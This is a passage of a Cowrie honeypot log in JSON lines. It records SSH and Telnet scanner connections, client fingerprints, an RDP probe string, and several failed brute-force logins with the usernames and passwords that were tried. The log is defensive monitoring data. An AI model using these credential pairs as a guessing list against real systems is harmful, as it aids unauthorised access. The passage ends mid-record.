{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:03.672440Z","src_ip":"79.132.141.112","session":"9e903ea83480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":52730,"dst_ip":"10.17.0.5","dst_port":22,"session":"2931a5e8d650","protocol":"ssh","message":"New connection: 43.153.54.120:52730 (10.17.0.5:22) [session: 2931a5e8d650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:03.810409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:03.814637Z","src_ip":"43.153.54.120","session":"2931a5e8d650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:03.881966Z","src_ip":"43.153.54.120","session":"2931a5e8d650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support2017","message":"login attempt [root/support2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:04.058909Z","src_ip":"79.132.141.112","session":"9e903ea83480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"remove","message":"login attempt [root/remove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:04.197570Z","src_ip":"43.153.54.120","session":"2931a5e8d650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:05.153957Z","src_ip":"79.132.141.112","session":"9e903ea83480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:05.267803Z","src_ip":"43.153.54.120","session":"2931a5e8d650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0105037689209,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:15.034302Z","src_ip":"152.42.224.71","session":"634a82b3ed5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":59186,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d96c88dc66e","protocol":"ssh","message":"New connection: 154.83.13.181:59186 (159.203.135.109:22) [session: 7d96c88dc66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:16.987474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:16.991633Z","src_ip":"154.83.13.181","session":"7d96c88dc66e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:17.201004Z","src_ip":"154.83.13.181","session":"7d96c88dc66e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dasusr1","password":"passw0rd","message":"login attempt [dasusr1/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:18.065252Z","src_ip":"154.83.13.181","session":"7d96c88dc66e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:19.280381Z","src_ip":"154.83.13.181","session":"7d96c88dc66e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":32950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a81105bc1ebe","protocol":"ssh","message":"New connection: 43.128.111.187:32950 (159.203.135.109:22) [session: a81105bc1ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:20.656518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:20.661084Z","src_ip":"43.128.111.187","session":"a81105bc1ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:20.898078Z","src_ip":"43.128.111.187","session":"a81105bc1ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!","message":"login attempt [root/1234qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:21.877843Z","src_ip":"43.128.111.187","session":"a81105bc1ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:23.117600Z","src_ip":"43.128.111.187","session":"a81105bc1ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":43418,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a3e1c1de92","protocol":"ssh","message":"New connection: 43.153.124.153:43418 (10.17.0.5:22) [session: 11a3e1c1de92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:26.174404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:26.178840Z","src_ip":"43.153.124.153","session":"11a3e1c1de92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52374,"dst_ip":"10.17.0.5","dst_port":22,"session":"9abc7f638a8f","protocol":"ssh","message":"New connection: 167.172.81.52:52374 (10.17.0.5:22) [session: 9abc7f638a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:26.236341Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:26.244135Z","src_ip":"167.172.81.52","session":"9abc7f638a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:26.248562Z","src_ip":"167.172.81.52","session":"9abc7f638a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:26.256122Z","src_ip":"43.153.124.153","session":"11a3e1c1de92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxcde32ws","message":"login attempt [root/1qazxcde32ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:26.552822Z","src_ip":"43.153.124.153","session":"11a3e1c1de92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:27.625391Z","src_ip":"43.153.124.153","session":"11a3e1c1de92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":47628,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6bca534ab96","protocol":"ssh","message":"New connection: 59.17.95.129:47628 (159.203.135.109:22) [session: c6bca534ab96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:28.381284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:28.387379Z","src_ip":"59.17.95.129","session":"c6bca534ab96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:28.586205Z","src_ip":"59.17.95.129","session":"c6bca534ab96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55wOrd","message":"login attempt [root/p@55wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:29.411952Z","src_ip":"59.17.95.129","session":"c6bca534ab96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:30.614972Z","src_ip":"59.17.95.129","session":"c6bca534ab96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":58796,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2d88a53a67","protocol":"ssh","message":"New connection: 197.248.104.31:58796 (10.17.0.5:22) [session: 1a2d88a53a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:31.092051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:31.097288Z","src_ip":"197.248.104.31","session":"1a2d88a53a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:31.307976Z","src_ip":"197.248.104.31","session":"1a2d88a53a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plokijuh","message":"login attempt [root/plokijuh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:32.175967Z","src_ip":"197.248.104.31","session":"1a2d88a53a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:33.389020Z","src_ip":"197.248.104.31","session":"1a2d88a53a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.40743803977966,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:35.428941Z","src_ip":"152.42.224.71","session":"08b929b28b96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37340,"dst_ip":"10.17.0.5","dst_port":23,"session":"2befd0b20742","protocol":"telnet","message":"New connection: 152.42.224.71:37340 (10.17.0.5:23) [session: 2befd0b20742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:36.198544Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":58220,"dst_ip":"10.17.0.5","dst_port":23,"session":"2152a51b571a","protocol":"telnet","message":"New connection: 213.108.3.46:58220 (10.17.0.5:23) [session: 2152a51b571a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:37.384651Z"}
{"eventid":"cowrie.session.closed","duration":0.015524864196777344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:37.400009Z","src_ip":"213.108.3.46","session":"2152a51b571a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00147247314453,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:39.744990Z","src_ip":"152.42.224.71","session":"20f138c48adf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37346,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be25ed56495","protocol":"telnet","message":"New connection: 152.42.224.71:37346 (10.17.0.5:23) [session: 9be25ed56495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:42.165438Z"}
{"eventid":"cowrie.session.closed","duration":120.00127029418945,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:42.560526Z","src_ip":"152.42.224.71","session":"70a77b11a0f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37348,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76d124a9332","protocol":"telnet","message":"New connection: 152.42.224.71:37348 (10.17.0.5:23) [session: f76d124a9332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:45.426314Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":58676,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f1565fafc31","protocol":"ssh","message":"New connection: 43.153.69.201:58676 (10.17.0.5:22) [session: 5f1565fafc31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:46.865618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:46.871208Z","src_ip":"43.153.69.201","session":"5f1565fafc31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ct